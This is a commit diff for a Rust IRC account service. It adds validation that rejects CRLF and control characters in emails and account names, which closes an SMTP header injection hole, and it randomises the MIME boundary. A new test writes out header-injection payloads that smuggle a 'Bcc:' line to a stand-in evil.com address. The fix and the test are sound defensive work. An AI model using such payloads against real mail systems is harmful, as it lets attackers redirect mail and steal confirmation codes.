Reject CRLF/malformed emails and names to stop SMTP header injection
This commit is contained in:
parent
598234b817
commit
75d3c70cc8
6 changed files with 93 additions and 3 deletions
|
|
@ -30,6 +30,12 @@ impl Engine {
|
|||
// confusable check), applied to every authority write so it can't create a name
|
||||
// IRC would have rejected.
|
||||
fn authority_name_ok(&self, name: &str) -> Result<(), AuthorityStatus> {
|
||||
// A control char in the name would inject into the confirmation email's
|
||||
// Subject/body (the name is interpolated there); IRC nicks can't carry one,
|
||||
// but a website-provided name must be checked.
|
||||
if name.is_empty() || name.chars().any(char::is_control) {
|
||||
return Err(AuthorityStatus::Invalid);
|
||||
}
|
||||
if self.db.is_forbidden(echo_api::ForbidKind::Nick, name).is_some() {
|
||||
return Err(AuthorityStatus::Invalid);
|
||||
}
|
||||
|
|
@ -49,6 +55,11 @@ impl Engine {
|
|||
return status;
|
||||
}
|
||||
}
|
||||
if let Some(addr) = &email {
|
||||
if !echo_api::valid_email(addr) {
|
||||
return AuthorityStatus::Invalid;
|
||||
}
|
||||
}
|
||||
match self.db.provision_account(name, scram256, scram512, email) {
|
||||
Ok(()) => AuthorityStatus::Ok,
|
||||
Err(RegError::Exists) => AuthorityStatus::AlreadyExists,
|
||||
|
|
@ -63,9 +74,10 @@ impl Engine {
|
|||
if self.db.registrations_frozen() || self.db.readonly() {
|
||||
return AuthorityStatus::Invalid;
|
||||
}
|
||||
// The IRC REGISTER rejects a FORBIDden email; a website write must too.
|
||||
// The IRC REGISTER rejects a FORBIDden email; a website write must too —
|
||||
// and must reject a malformed/CRLF-bearing one before it reaches a mail header.
|
||||
if let Some(addr) = &email {
|
||||
if self.db.is_forbidden(echo_api::ForbidKind::Email, addr).is_some() {
|
||||
if !echo_api::valid_email(addr) || self.db.is_forbidden(echo_api::ForbidKind::Email, addr).is_some() {
|
||||
return AuthorityStatus::Invalid;
|
||||
}
|
||||
}
|
||||
|
|
@ -127,6 +139,9 @@ impl Engine {
|
|||
|
||||
pub fn authority_set_email(&mut self, account: &str, email: Option<String>) -> AuthorityStatus {
|
||||
if let Some(addr) = &email {
|
||||
if !echo_api::valid_email(addr) {
|
||||
return AuthorityStatus::Invalid; // no CRLF/garbage into a mail header
|
||||
}
|
||||
if self.db.is_forbidden(echo_api::ForbidKind::Email, addr).is_some() {
|
||||
return AuthorityStatus::Invalid; // same email-forbid policy as IRC SET
|
||||
}
|
||||
|
|
|
|||
20
src/grpc.rs
20
src/grpc.rs
|
|
@ -730,6 +730,26 @@ mod tests {
|
|||
assert_eq!(engine.lock().await.directory_snapshot().0[0].email, None, "empty string clears the email");
|
||||
}
|
||||
|
||||
// The website authority path can't smuggle a CRLF into a mail header via the
|
||||
// stored email or the account name (SMTP header injection through sendmail -t).
|
||||
#[tokio::test]
|
||||
async fn authority_rejects_crlf_in_email_and_name() {
|
||||
let (engine, _tx) = engine_with("acct-inject");
|
||||
let svc = accounts_svc(engine.clone());
|
||||
svc.register(authed(RegisterRequest { name: "frank".into(), password: "x".into(), email: String::new() }, "t")).await.unwrap();
|
||||
|
||||
let bad = "frank@example.com\r\nBcc: attacker@evil.com".to_string();
|
||||
let se = svc.set_email(authed(SetEmailRequest { account: "frank".into(), email: bad.clone() }, "t")).await.unwrap().into_inner();
|
||||
assert_eq!(se.status, PbStatus::Invalid as i32, "CRLF email refused on SET");
|
||||
assert_eq!(engine.lock().await.directory_snapshot().0[0].email, None, "poisoned email not stored");
|
||||
|
||||
let reg = svc.register(authed(RegisterRequest { name: "mallory".into(), password: "x".into(), email: bad }, "t")).await.unwrap().into_inner();
|
||||
assert_eq!(reg.status, PbStatus::Invalid as i32, "CRLF email refused on register");
|
||||
|
||||
let name = svc.register(authed(RegisterRequest { name: "eve\r\nBcc: x@evil.com".into(), password: "x".into(), email: String::new() }, "t")).await.unwrap().into_inner();
|
||||
assert_eq!(name.status, PbStatus::Invalid as i32, "control char in the account name refused");
|
||||
}
|
||||
|
||||
// Full round trip through the real confirmation-email pipeline: register with
|
||||
// email confirmation on, capture the code echo actually emails out (never
|
||||
// returned by the RPC — proving the caller can't skip owning the inbox), then
|
||||
|
|
|
|||
12
src/link.rs
12
src/link.rs
|
|
@ -271,10 +271,20 @@ fn dispatch_email(email: &Option<crate::config::Email>, to: String, subject: Str
|
|||
return tracing::warn!(%to, "email requested but not configured");
|
||||
};
|
||||
tokio::spawn(async move {
|
||||
// Hard backstop against header injection: never let a control char reach
|
||||
// the raw SMTP header block, whatever the caller did. Bodies (text/html)
|
||||
// may legitimately contain newlines, so only the header values are checked.
|
||||
if [to.as_str(), subject.as_str(), email.from.as_str()].iter().any(|s| s.chars().any(char::is_control)) {
|
||||
return tracing::warn!(%to, "refusing to send an email with control characters in a header");
|
||||
}
|
||||
let headers = format!("From: {}\r\nTo: {to}\r\nSubject: {subject}\r\nMIME-Version: 1.0\r\n", email.from);
|
||||
let msg = match html {
|
||||
Some(html) => {
|
||||
let b = "echo-alt-boundary-x9";
|
||||
// Random per-message boundary so body content can never be mistaken
|
||||
// for the delimiter.
|
||||
let mut rb = [0u8; 8];
|
||||
rand_core::RngCore::fill_bytes(&mut rand_core::OsRng, &mut rb);
|
||||
let b = format!("echo-bnd-{:016x}", u64::from_le_bytes(rb));
|
||||
format!(
|
||||
"{headers}Content-Type: multipart/alternative; boundary=\"{b}\"\r\n\r\n\
|
||||
--{b}\r\nContent-Type: text/plain; charset=utf-8\r\n\r\n{text}\r\n\
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue